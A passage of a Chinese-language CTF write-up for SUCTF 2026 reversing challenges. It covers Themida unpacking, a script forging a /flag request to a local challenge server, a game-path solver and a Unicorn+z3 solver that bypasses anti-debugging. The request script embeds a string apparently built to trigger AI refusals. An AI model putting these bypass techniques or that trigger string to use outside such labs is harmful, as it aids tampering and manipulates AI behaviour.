0xcaa432e5,
0x6eec27bc,
0xefc12b53,
0xfa7505c2,
0x54ac88a6,
0x2f96ad99,
0x77741a15,
0x3e8673c1,
0xc2b9f282,
]

def mx(z, y, summ, p, e, key):
return (
((((z << 5) & 0xFFFFFFFF) ^ (y >> 2)) +
(((z >> 4) ^ ((y << 3) & 0xFFFFFFFF))))
^ (((z ^ key[(p & 3) ^ e]) + (summ ^ y)) & 0xFFFFFFFF)
) & 0xFFFFFFFF

def encrypt(v, delta, key):
v = v[:]
rounds = 11
summ = 0
z = v[9]

for _ in range(rounds):
summ = (summ + delta) & 0xFFFFFFFF
e = (summ >> 2) & 3

for p in range(9):
y = v[p + 1]
v[p] = (v[p] + mx(z, y, summ, p, e, key)) & 0xFFFFFFFF
z = v[p]

y = v[0]
v[9] = (v[9] + mx(z, y, summ, 9, e, key)) & 0xFFFFFFFF
z = v[9]

return v

def decrypt(v, delta, key):
v = v[:]
rounds = 11
summ = (rounds * delta) & 0xFFFFFFFF

while summ != 0:
e = (summ >> 2) & 3

y = v[0]
z = v[8]
v[9] = (v[9] - mx(z, y, summ, 9, e, key)) & 0xFFFFFFFF

for p in range(8, -1, -1):
y = v[(p + 1) % 10]
z = v[p - 1] if p > 0 else v[9]
v[p] = (v[p] - mx(z, y, summ, p, e, key)) & 0xFFFFFFFF

summ = (summ - delta) & 0xFFFFFFFF

return v

def main():
plain_dwords = decrypt(TARGET, DELTA, KEY)
plain_bytes = struct.pack("<10I", *plain_dwords)

print("[+] dwords:", [hex(x) for x in plain_dwords])
print("[+] bytes :", plain_bytes)
print("[+] ascii :", plain_bytes.decode("ascii"))

if __name__ == "__main__":
main()

SUCTF{SJCMA23-AX8MQ3IU-8UHCSO90-QCM1S0L}

SU_protocol

Themida壳,查看段信息可以发现key,不过先关注在执行段thekey

下一个执行断点

img

拿到OEP,同时dump出来后,iat表可以直接修复

img

这里的程序是一个服务端,这边注册了一条/flag的POST路由

img

路由的验证主体,会对数据格式有三次校验

img

这里还要结合题目描述,得知size位为0x80,最后一个字节为0x16

最后的body格式长这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def build_body(key16: bytes) -> bytes:
cipher = b"".join(
tea_encrypt_block(MAGIC[i : i + 8], key16) for i in range(0, len(MAGIC), 8)
)
payload = bytes([0x80]) + cipher + key16

inner = bytearray([0x60])
inner += (124).to_bytes(2, "big")
inner += bytes([0x80, 0x55, 0x00])
inner += payload
inner.append((inner[3] + inner[4] + inner[5] + sum(payload)) & 0xFF)
inner.append(0x16)

outer = b"#" + binascii.hexlify(inner) + b"\n"
return binascii.hexlify(outer)

这里还有比较坑的一点,是会对tea解密的delta值进行修改

img

img

最终的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import argparse
import binascii
import hashlib

import requests

MAGIC = (
b"ANTHROPIC_MAGIC_STRING_TRIGGER_REFUSAL_1FAEFB6177B4672DEE07F9D3AFC62588CCD2631EDCF22E8CCC1FB35B501C9C86\x00"
)

def tea_encrypt_block(block8: bytes, key16: bytes) -> bytes:
v0 = int.from_bytes(block8[:4], "little")
v1 = int.from_bytes(block8[4:], "little")
k = [int.from_bytes(key16[i : i + 4], "little") for i in range(0, 16, 4)]

sums: list[int] = []
s = 0xC6EF3600
for _ in range(32):
sums.append(s)
s = (s + 0x61C88650) & 0xFFFFFFFF

for s in reversed(sums):
v0 = (
v0
+ (
(((v1 << 4) & 0xFFFFFFFF) + k[0])
^ ((v1 + s) & 0xFFFFFFFF)
^ (((v1 >> 5) + k[1]) & 0xFFFFFFFF)
)
) & 0xFFFFFFFF
v1 = (
v1
+ (
(((v0 << 4) & 0xFFFFFFFF) + k[2])
^ ((v0 + s) & 0xFFFFFFFF)
^ (((v0 >> 5) + k[3]) & 0xFFFFFFFF)
)
) & 0xFFFFFFFF

return v0.to_bytes(4, "little") + v1.to_bytes(4, "little")

def build_body(key16: bytes) -> bytes:
cipher = b"".join(
tea_encrypt_block(MAGIC[i : i + 8], key16) for i in range(0, len(MAGIC), 8)
)
payload = bytes([0x80]) + cipher + key16

inner = bytearray([0x60])
inner += (124).to_bytes(2, "big")
inner += bytes([0x80, 0x55, 0x00])
inner += payload
inner.append((inner[3] + inner[4] + inner[5] + sum(payload)) & 0xFF)
inner.append(0x16)

outer = b"#" + binascii.hexlify(inner) + b"\n"
return binascii.hexlify(outer)

def main() -> int:
parser = argparse.ArgumentParser(
description="Forge a valid /flag request and print its candidate flag."
)
parser.add_argument(
"--url",
default="http://127.0.0.1:8080/flag",
help="target URL, default: %(default)s",
)
parser.add_argument(
"--key",
default="7375323032362d6b6579736563726574",
help="16-byte TEA key as 32 hex chars",
)
parser.add_argument(
"--no-send",
action="store_true",
help="only print the forged body and candidate flag",
)
parser.add_argument(
"--field5",
default="00",
help="the third header byte in 80 55 xx, as 2 hex chars",
)
parser.add_argument(
"--enum-field5",
action="store_true",
help="print all 256 candidate flags for field5 = 00..ff",
)
args = parser.parse_args()

key16 = bytes.fromhex(args.key)
if len(key16) != 16:
raise SystemExit("--key must be exactly 16 bytes")

if args.enum_field5:
for value in range(256):
body = build_body(key16, value)
md5_hex = hashlib.md5(body).hexdigest()
print(f"{value:02x} SUCTF{{{md5_hex}}}")
return 0

body = build_body(key16)
md5_hex = hashlib.md5(body).hexdigest()

print(f"body: {body.decode()}")
print(f"md5(body): {md5_hex}")
print(f"candidate flag: SUCTF{{{md5_hex}}}")

if args.no_send:
return 0

response = requests.post(args.url, data=body, timeout=10)
print(f"status: {response.status_code}")
print("response:")
print(response.text)
return 0

if __name__ == "__main__":
raise SystemExit(main())

SUCTF{ad1b51464c1b679fe731c7d718af241f}

SU_easygal

il2cpp写的程序,先用il2cppdumper恢复符号

然后找到flag打印的相关类,这里应该是通过选择的路线,如果符合预期,就通过md5计算打印出flag

img

markers 来源

调用链:

  • GameManager$$FinishGame
  • GameStateStore$$SetEnding
  • 都在真结局分支调用 FlagUtility$$BuildTrueEndingFlag(GameStateStore.finalMarkers)

GameStateStore$$SetProgress 会:

  • 清空 finalFlags/finalMarkers
  • 过滤非空 flags/markers
  • 写入静态容器 finalFlagsfinalMarkers

所以我们只要找到“真结局路径下的 marker 序列”即可。

真结局条件

GameManager$$EvaluateEnding / OnChoiceSelected 可见:

  • currentWeight > maxWeight => Failure
  • 否则:currentValue == trueEndingValue => True Ending

GameConfig 常量与资源元数据一致:

  • maxWeight = 132
  • trueEndingValue = 322

Story 资源路径常量是 Story/story。 本题资源实际在 esaygal_Data/resources.assets 中可直接 grep 出 JSON 片段。

快速确认(示例):

1
2
rg -a -n -e '\"meta\"' -e '\"nodes\"' -e '\"endings\"' -e '\"marker\"' `
'D:\CTF\SUCTF_2026\SU_easygal\esaygal_Data\resources.assets'

可看到:

  • trueEndingValue: 322
  • nodes 共 60 个
  • 每个节点 2 个 choice,带 weight/value/flag/marker

我将 JSON 主体从 resources.assets 提取为:

  • story_extracted.json

最后用dp求解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
import argparse
import hashlib
import json
from collections import defaultdict
from functools import lru_cache
from pathlib import Path

def extract_story_json(resources_path: Path) -> dict:
data = resources_path.read_bytes()
text = data.decode("utf-8", errors="ignore")

meta_idx = text.find('"meta": {')
if meta_idx == -1:
raise RuntimeError("could not find story JSON in resources.assets")

start = text.rfind("{", 0, meta_idx)
if start == -1:
raise RuntimeError("could not find story JSON start")

depth = 0
end = -1
for i in range(start, len(text)):
ch = text[i]
if ch == "{":
depth += 1
elif ch == "}":
depth -= 1
if depth == 0:
end = i
break

if end == -1:
raise RuntimeError("could not find story JSON end")

return json.loads(text[start : end + 1])

def load_story(args: argparse.Namespace) -> dict:
if args.resources is None:
raise RuntimeError("either --story-json or --resources is required")

return extract_story_json(args.resources)

def solve_story(story: dict) -> dict:
max_weight = int(story["meta"]["maxWeight"])
true_value = int(story["meta"]["trueEndingValue"])
nodes = story["nodes"]

options = []
for node in nodes:
choices = node["choices"]
if len(choices) != 2:
raise RuntimeError("expected exactly 2 choices per node")

pair = []
for choice in choices:
pair.append(
(
int(choice["weight"]),
int(choice["value"]),
choice.get("marker", ""),
choice.get("flag", ""),
choice.get("text", ""),
)
)
options.append(pair)

states = {(0, 0): 1}
parents = defaultdict(list)

for step, pair in enumerate(options, 1):
new_states = defaultdict(int)
for (weight, value), count in states.items():
for choice_idx, (dw, dv, marker, flag, text) in enumerate(pair):
new_weight = weight + dw
new_value = value + dv
if new_weight <= max_weight and new_value <= true_value:
new_states[(new_weight, new_value)] += count
parents[(step, new_weight, new_value)].append(
(weight, value, choice_idx)
)
states = dict(new_states)

end_states = [
(weight, value, count)
for (weight, value), count in states.items()
if value == true_value and weight <= max_weight
]
if not end_states:
raise RuntimeError("no true-ending path found")

@lru_cache(None)
def best_path(step: int, weight: int, value: int):
if step == 0:
return () if (weight, value) == (0, 0) else None

candidates = []
for prev_weight, prev_value, choice_idx in parents[(step, weight, value)]:
prev = best_path(step - 1, prev_weight, prev_value)
if prev is not None:
candidates.append(prev + (choice_idx,))
return min(candidates) if candidates else None

best_weight = min(weight for weight, _, _ in end_states)
candidate_states = [(weight, value) for weight, value, _ in end_states if weight == best_weight]

ranked_paths = []
for weight, value in candidate_states:
path = best_path(len(options), weight, value)
if path is not None:
ranked_paths.append((path, weight, value))

ranked_paths.sort(key=lambda item: item[0])
path, final_weight, final_value = ranked_paths[0]

markers = [options[i][choice_idx][2] for i, choice_idx in enumerate(path)]
flags = [options[i][choice_idx][3] for i, choice_idx in enumerate(path)]
choice_string = "".join("A" if idx == 0 else "B" for idx in path)
marker_concat = "".join(marker for marker in markers if marker.strip())
md5_hex = hashlib.md5(marker_concat.encode("utf-8")).hexdigest()
flag = f"SUCTF{{{md5_hex}}}"

return {
"max_weight": max_weight,
"true_value": true_value,
"node_count": len(options),
"end_state_count": len(end_states),
"path_count": sum(count for _, _, count in end_states),
"final_weight": final_weight,
"final_value": final_value,
"choice_string": choice_string,
"markers": markers,
"flags": flags,
"marker_concat": marker_concat,
"md5_hex": md5_hex,
"flag": flag,
}

def main() -> None:
default_resources = Path(r"D:\CTF\SUCTF_2026\SU_easygal\esaygal_Data\resources.assets")

parser = argparse.ArgumentParser()
parser.add_argument("--resources", type=Path, default=default_resources)
parser.add_argument("--story-json", type=Path)
parser.add_argument("--dump-story-json", type=Path)
args = parser.parse_args()

story = load_story(args)

if args.dump_story_json is not None:
args.dump_story_json.write_text(
json.dumps(story, ensure_ascii=False, indent=2),
encoding="utf-8",
)

result = solve_story(story)

print(f"node_count={result['node_count']}")
print(f"max_weight={result['max_weight']}")
print(f"true_value={result['true_value']}")
print(f"end_state_count={result['end_state_count']}")
print(f"path_count={result['path_count']}")
print(f"final_weight={result['final_weight']}")
print(f"final_value={result['final_value']}")
print(f"choices={result['choice_string']}")
print(f"md5={result['md5_hex']}")
print(f"flag={result['flag']}")

if __name__ == "__main__":
main()

SUCTF{92d1c2c3f6e55fabbc3a6ffde57c7341}

SU_West

nagr会炸,用Unicorn + z3求解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
import struct
import subprocess

import pefile
from capstone import Cs, CS_ARCH_X86, CS_MODE_64
from capstone.x86 import X86_OP_IMM, X86_OP_MEM, X86_OP_REG, X86_REG_RSP
from z3 import BitVec, BitVecVal, Concat, Extract, LShR, ZeroExt, Solver, UGE, ULE, sat
from unicorn import Uc, UC_ARCH_X86, UC_MODE_64, UC_HOOK_CODE
from unicorn.x86_const import *

EXE_PATH = "Journey_to_the_West.exe"
BASE = 0x140000000
FUNC_TABLE = 0x14002A480
LAYER_TABLE = 0x14003DEE0
TABLE_BASE = 0x14002A710
TABLE_STRIDE = 0xC0
ROUND_COUNT = 81
NEXT_AFTER_LAST_FUNC = 0x140012480

HOOK_ANTI_DEBUG = 0x140001780
HOOK_CLOCK = 0x140016F94

MASK64 = (1 << 64) - 1
MASK32 = (1 << 32) - 1

def rol64_expr(x, c):
c &= 63
if c == 0:
return x
return (x << c) | LShR(x, 64 - c)

def rol32_expr(x, c):
c &= 31
if c == 0:
return x
return ((x << c) | LShR(x, 32 - c)) & BitVecVal(MASK32, 32)

def ror32_expr(x, c):
c &= 31
if c == 0:
return x
return (LShR(x, c) | (x << (32 - c))) & BitVecVal(MASK32, 32)

class BinaryView:
def __init__(self, exe_path):
self.pe = pefile.PE(exe_path)
self.image = self.pe.get_memory_mapped_image()
self.image_size = (self.pe.OPTIONAL_HEADER.SizeOfImage + 0xFFF) & ~0xFFF

def read_bytes(self, va, n):
return self.image[va - BASE : va - BASE + n]

def read_u8(self, va):
return self.image[va - BASE]

def read_u64(self, va):
return struct.unpack_from("<Q", self.image, va - BASE)[0]

def get_funcs_and_layers(bv):
funcs = [bv.read_u64(FUNC_TABLE + 8 * i) for i in range(ROUND_COUNT)]
layers = list(bv.read_bytes(LAYER_TABLE, ROUND_COUNT))
return funcs, layers

def extract_cmp_constants(bv, funcs):
md = Cs(CS_ARCH_X86, CS_MODE_64)
md.detail = True
target_call = 0x140012940

def reg_name(reg_id):
return md.reg_name(reg_id)

def mem_rsp_disp(op):
if op.type != X86_OP_MEM:
return None
m = op.mem
if m.base == X86_REG_RSP and m.index == 0:
return m.disp
return None

sizes = []
for i, a in enumerate(funcs):
nxt = funcs[i + 1] if i + 1 < len(funcs) else NEXT_AFTER_LAST_FUNC
sizes.append(nxt - a)

out = []
for addr, size in zip(funcs, sizes):
code = bv.read_bytes(addr, size)
insns = list(md.disasm(code, addr))

after_call = False
aliases = set()
reg_const = {}
stack_alias = set()
found = None

for ins in insns:
if (
ins.mnemonic == "call"
and ins.operands
and ins.operands[0].type == X86_OP_IMM
and ins.operands[0].imm == target_call
):
after_call = True
aliases = {"rax", "eax"}
continue

if (
ins.mnemonic.startswith("mov")
and len(ins.operands) == 2
and ins.operands[0].type == X86_OP_REG
and ins.operands[1].type == X86_OP_IMM
):
reg_const[reg_name(ins.operands[0].reg)] = ins.operands[1].imm & MASK64

if (
ins.mnemonic == "mov"
and len(ins.operands) == 2
and ins.operands[0].type == X86_OP_REG
and ins.operands[1].type == X86_OP_REG
):
d = reg_name(ins.operands[0].reg)
s = reg_name(ins.operands[1].reg)
if s in aliases:
aliases.add(d)
else:
aliases.discard(d)

if ins.mnemonic == "mov" and len(ins.operands) == 2:
d, s = ins.operands
ddisp = mem_rsp_disp(d)
if ddisp is not None:
if s.type == X86_OP_REG and reg_name(s.reg) in aliases:
stack_alias.add(ddisp)
else:
stack_alias.discard(ddisp)

if after_call and ins.mnemonic == "cmp" and len(ins.operands) == 2:
o0, o1 = ins.operands

if o0.type == X86_OP_REG and o1.type == X86_OP_REG:
r0, r1 = reg_name(o0.reg), reg_name(o1.reg)
if r0 in aliases and r1 in reg_const:
found = reg_const[r1]
break
if r1 in aliases and r0 in reg_const:
found = reg_const[r0]
break

if o0.type == X86_OP_REG and o1.type == X86_OP_IMM and reg_name(o0.reg) in aliases:
found = o1.imm & MASK64
break
if o1.type == X86_OP_REG and o0.type == X86_OP_IMM and reg_name(o1.reg) in aliases:
found = o0.imm & MASK64
break

d0 = mem_rsp_disp(o0)
d1 = mem_rsp_disp(o1)
if d0 is not None and o1.type == X86_OP_REG and d0 in stack_alias:
r = reg_name(o1.reg)
if r in reg_const:
found = reg_const[r]
break
if d1 is not None and o0.type == X86_OP_REG and d1 in stack_alias:
r = reg_name(o0.reg)
if r in reg_const:
found = reg_const[r]
break

if not (
ins.mnemonic.startswith("mov")
and len(ins.operands) == 2
and ins.operands[0].type == X86_OP_REG
and ins.operands[1].type == X86_OP_IMM
):
_, regs_written = ins.regs_access()
for w in regs_written:
reg_const.pop(reg_name(w), None)

if found is None:
raise RuntimeError(f"failed to extract cmp constant for function {hex(addr)}")
out.append(found)

return out

def z12480(bv, a1, a2_int, a3_int, table_addr, layer):
v5 = BitVecVal(bv.read_u64(table_addr + 40), 64) ^ a1
v6 = 0xA24BAED4963EE407
v7 = Extract(63, 32, v5)
v8 = bv.read_u8(table_addr + 162)
v20 = (v8 + a3_int + 7) & MASK64
v9 = (v8 + a3_int + 6) & MASK64
v10 = (v8 + a3_int) & MASK64
v19 = (a3_int + v8 + 1) & MASK64
v23 = (
bv.read_u64(table_addr)
^ ((0xD6E8FEB86659FD93 * layer) & MASK64)
^ a2_int
^ ((0x9E3779B97F4A7C15 - ((0x61C8864680B583EB * a3_int) & MASK64)) & MASK64)
) & MASK64
v22 = (bv.read_u8(table_addr + 161) + 6) & MASK64

v11 = 0
v12 = 0
while v12 != v22:
v25 = v7
v21 = v9
v13 = v5
v14 = 31 * (v10 // 31)
v15 = (v20 - 31 * ((v9 - v14) // 31) - v14) & MASK64

v16_int = (bv.read_u64(table_addr + 8 * (v11 & 3) + 8) ^ v6 ^ v23) & MASK64
v16 = BitVecVal(v16_int, 64)

t1 = rol32_expr(Extract(31, 0, v16 ^ v5), (v11 + v19 - v14) & 0xFF)
t2 = (t1 + Extract(31, 0, v5 ^ BitVecVal((v16_int >> 32) & MASK32, 64))) & BitVecVal(MASK32, 32)
v17 = v25 ^ t2

r = ror32_expr(Extract(31, 0, v13), (v11 + v15) & 0xFF)
low = (v17 ^ Extract(31, 0, v16 + ZeroExt(32, r))) & BitVecVal(MASK32, 32)
v5 = Concat(Extract(63, 32, v5), low)

v6 = (v6 - 0x5DB4512B69C11BF9) & MASK64
v9 = (v21 + 1) & MASK64
v10 = (v10 + 1) & MASK64
v7 = Extract(31, 0, v13)
v12 = (v12 + 1) & MASK64
v11 = v12

return Concat(Extract(31, 0, v13), Extract(31, 0, v5))

def z12630(bv, a1, a2_int, a3_int, table_addr, layer):
a5 = layer & 0xFF
rax = a5
r11 = bv.read_u8(table_addr + 0xA3)
var58 = (r11 + rax + (a3_int & MASK32) + 1) & MASK32
var50 = r11
rbx = (a3_int + r11) & MASK64
r9 = (0x6B2FB644ECCEEE15 * a3_int) & MASK64

r8_init = (a3_int * 0x9E3779B97F4A7C15 + 0x9E3779B97F4A7C15) & MASK64
r10 = (0xA24BAED4963EE407 * rax) & MASK64
r8 = BitVecVal(r8_init, 64) ^ a1 ^ BitVecVal(r10, 64) ^ BitVecVal(bv.read_u64(table_addr + 0x28), 64) ^ BitVecVal(a2_int, 64)

r12 = 0xBF58476D1CE4E5B9
var48 = a2_int & MASK64
r13 = (bv.read_u8(table_addr + 0xA0) + 2) & MASK64
rbx = (rbx + rax) & MASK64
rdi = (0x94D049BB133111EB - r9) & MASK64
ecx = 0
rbp = rdi
r15 = 0

while r15 != r13:
rax_ = rbx
prod = rax_ * 0x410410410410411
rdx = (prod >> 64) & MASK64
rax_ = (rbx - rdx) & MASK64
rax_ = (rax_ >> 1) & MASK64
rdx = (rdx + rax_) & MASK64
rdx = (rdx >> 5) & MASK64
edx = rdx & MASK32
eax = (edx << 6) & MASK32
edx = (edx - eax) & MASK32

eax_idx0 = ecx & 3
r15 = (r15 + 1) & MASK64
r14 = (bv.read_u64(table_addr + eax_idx0 * 8 + 0x58) ^ r12 ^ var48) & MASK64

eax_idx1 = (var50 + ecx) & MASK32
eax_idx1 &= 3

ecx = (ecx + var58) & MASK32
edx = (edx + ecx) & MASK32

r8 = r8 ^ BitVecVal(rbp, 64) ^ BitVecVal(bv.read_u64(table_addr + eax_idx1 * 8 + 0x78), 64)
r8 = rol64_expr(r8, edx)
r8 = r8 + BitVecVal(r14, 64)

rbx = (rbx + 1) & MASK64
rbp = (rbp + rdi) & MASK64
r12 = (r12 + 0xBF58476D1CE4E5B9) & MASK64
ecx = r15 & MASK32

return r8

def z12940(bv, a1, a2_int, table_addr):
v4 = bv.read_u8(table_addr + 163)
v29 = bv.read_u64(table_addr + 64)
v28 = bv.read_u64(table_addr + 56)
v5 = (0xA24BAED4963EE407 - ((0x5DB4512B69C11BF9 * a2_int) & MASK64)) & MASK64
v6 = bv.read_u8(table_addr + 162)
v26 = bv.read_u64(table_addr + 72)
v25 = bv.read_u64(table_addr)
v24 = bv.read_u64(table_addr + 40)
v30 = ((v4 + a2_int) & 1) + 3
v23 = (v6 + 1) & 0xFF
v7 = (v6 + a2_int + 1) & MASK64
v22 = (v4 + 1) & 0xFF
v8 = (a2_int + v6) & MASK64
v9 = 0
v31 = v4
v10 = v4
v27 = v5
v11 = 0

while v11 != v30:
v32 = v5
v33 = v10
v34 = v8
v19 = v7
v18 = v6
v12 = (-63 * (v6 // 63)) & 0xFF
v13 = (
bv.read_u64(table_addr + 8 * (((v9 + v31) & 3) + 11))
^ bv.read_u64(table_addr + 8 * (v9 + 1))
^ v28
^ v5
^ v29
) & MASK64
v14 = (v7 - 63 * (v8 // 63)) & 0xFF
v11 = (v11 + 1) & MASK64

v15 = rol64_expr(BitVecVal(v26, 64), (v9 + v22 - 63 * (v10 // 63)) & 0xFF)
v16 = BitVecVal((v25 + v13) & MASK64, 64) ^ rol64_expr(BitVecVal(v24, 64), (v9 + v23 + v12) & 0xFF)
a1 = v16 + rol64_expr(v15 ^ a1 ^ BitVecVal(v13, 64), v14)

v6 = (v18 + 1) & MASK64
v7 = (v19 + 3) & MASK64
v8 = (v34 + 3) & MASK64
v5 = (v27 + v32) & MASK64
v10 = (v33 + 1) & MASK64
v9 = v11

return a1 ^ BitVecVal(bv.read_u64(table_addr + 80), 64) ^ BitVecVal((0x94D049BB133111EB - ((0x6B2FB644ECCEEE15 * a2_int) & MASK64)) & MASK64, 64)

class RoundEmulator:
STACK_BASE = 0x300000000
STACK_SIZE = 0x200000
STATE_ADDR = 0x310000000
SENTINEL = 0x320000000

def __init__(self, bv):
self.uc = Uc(UC_ARCH_X86, UC_MODE_64)
self.uc.mem_map(BASE, bv.image_size)
self.uc.mem_write(BASE, bv.image[: bv.image_size])
self.uc.mem_map(self.STACK_BASE, self.STACK_SIZE)
self.uc.mem_map(self.STATE_ADDR, 0x1000)
self.uc.mem_map(self.SENTINEL, 0x1000)
self.uc.mem_write(self.SENTINEL, b"\xC3")
self.clock_ctr = 0
self.uc.hook_add(UC_HOOK_CODE, self._hook_code)

def _read_u64(self, addr):
return struct.unpack("<Q", self.uc.mem_read(addr, 8))[0]

def _write_u64(self, addr, value):
self.uc.mem_write(addr, struct.pack("<Q", value & MASK64))

def _hook_code(self, uc, address, _size, _user_data):
if address == HOOK_ANTI_DEBUG:
rsp = uc.reg_read(UC_X86_REG_RSP)
ret = self._read_u64(rsp)
uc.reg_write(UC_X86_REG_RAX, 0)
uc.reg_write(UC_X86_REG_RSP, rsp + 8)
uc.reg_write(UC_X86_REG_RIP, ret)
return

if address == HOOK_CLOCK:
self.clock_ctr += 1
rsp = uc.reg_read(UC_X86_REG_RSP)
ret = self._read_u64(rsp)
uc.reg_write(UC_X86_REG_RAX, self.clock_ctr & MASK64)
uc.reg_write(UC_X86_REG_RSP, rsp + 8)
uc.reg_write(UC_X86_REG_RIP, ret)
return

if address == self.SENTINEL:
uc.emu_stop()

def _call(self, func_addr, rcx, rdx=0, r8=0, r9=0, arg5=None, arg6=None):
rsp = self.STACK_BASE + self.STACK_SIZE - 0x400
rsp -= 8
self._write_u64(rsp, self.SENTINEL)

if arg5 is not None:
self._write_u64(rsp + 0x28, arg5)
if arg6 is not None:
self.uc.mem_write(rsp + 0x30, bytes([arg6 & 0xFF]))

reset_regs = [
UC_X86_REG_RAX,
UC_X86_REG_RBX,
UC_X86_REG_RBP,
UC_X86_REG_RSI,
UC_X86_REG_RDI,
UC_X86_REG_R8,
UC_X86_REG_R9,
UC_X86_REG_R10,
UC_X86_REG_R11,
UC_X86_REG_R12,
UC_X86_REG_R13,
UC_X86_REG_R14,
UC_X86_REG_R15,
]
for r in reset_regs:
self.uc.reg_write(r, 0)

self.uc.reg_write(UC_X86_REG_RSP, rsp)
self.uc.reg_write(UC_X86_REG_RCX, rcx & MASK64)
self.uc.reg_write(UC_X86_REG_RDX, rdx & MASK64)
self.uc.reg_write(UC_X86_REG_R8, r8 & MASK64)
self.uc.reg_write(UC_X86_REG_R9, r9 & MASK64)

self.uc.emu_start(func_addr, self.SENTINEL, count=80_000_000)
return self.uc.reg_read(UC_X86_REG_RAX) & MASK64

def load_state(self, state_bytes):
self.uc.mem_write(self.STATE_ADDR, bytes(state_bytes))

def get_state(self):
return bytearray(self.uc.mem_read(self.STATE_ADDR, 0x50))

def set_round_index(self, i):
self._write_u64(self.STATE_ADDR + 8, i)

def run_round(self, i, layer, func_addr, x):
pre = self._call(0x140001100, self.STATE_ADDR, i, layer, x, 0xF00DFACECAFEBEEF, 0)
func = self._call(func_addr, self.STATE_ADDR, x)
s0 = struct.unpack_from("<Q", self.get_state(), 0)[0]
post = self._call(0x140001100, self.STATE_ADDR, i, layer, s0 ^ x, 0xDEADC0DE12345678, 0)
return pre, func, post

def init_state(bv):
st = bytearray(0x50)
struct.pack_into("<Q", st, 0x00, 0x669E1E61279D826E)
struct.pack_into("<Q", st, 0x08, 0)
struct.pack_into("<Q", st, 0x10, 0xA03AB9F27C4C6BFB)
struct.pack_into("<I", st, 0x18, 0)
st[0x1C : 0x1C + 16] = bv.read_bytes(0x14003E1D0, 16)
st[0x2C : 0x2C + 16] = bv.read_bytes(0x14003E1E0, 16)
struct.pack_into("<Q", st, 0x3C, 0x781C14C709915BCF)
return st

def solve_round_x(bv, s0, round_index, layer, target_const):
table = TABLE_BASE + layer * TABLE_STRIDE
x = BitVec(f"x_{round_index}", 64)
v7 = z12480(bv, x, s0, round_index, table, layer)
v8 = z12630(bv, v7, s0, round_index, table, layer)
v10 = z12940(bv, v8, round_index, table)

solver = Solver()
solver.set("timeout", 120000)
solver.add(UGE(x, BitVecVal(10**15, 64)))
solver.add(ULE(x, BitVecVal(9999999999999999, 64)))
solver.add(v10 == BitVecVal(target_const, 64))

if solver.check() != sat:
return None
return solver.model()[x].as_long()

def main():
bv = BinaryView(EXE_PATH)
funcs, layers = get_funcs_and_layers(bv)
cmp_consts = extract_cmp_constants(bv, funcs)

emu = RoundEmulator(bv)
state = init_state(bv)
emu.load_state(state)

answers = []
for i in range(ROUND_COUNT):
layer = layers[i]
func_addr = funcs[layer]
target_const = cmp_consts[layer]

emu.set_round_index(i)
state = emu.get_state()
s0 = struct.unpack_from("<Q", state, 0x00)[0]

x = solve_round_x(bv, s0, i, layer, target_const)
if x is None:
raise RuntimeError(f"solver failed at round {i+1}")

pre, func, post = emu.run_round(i, layer, func_addr, x)
if pre != 0 or func != 1 or post != 0:
raise RuntimeError(f"round {i+1} failed: pre={pre} func={func} post={post}")

answers.append(x)
print(f"round {i+1:02d}/81 layer {layer+1:02d} x={x}")

final_state = emu.get_state()
if struct.unpack_from("<I", final_state, 0x18)[0] != 0:
raise RuntimeError("final v13 != 0")

flag = bytes(final_state[0x1C : 0x1C + 40]).decode("utf-8")
csv = ",".join(str(x) for x in answers)

print("\n=== RESULT ===")
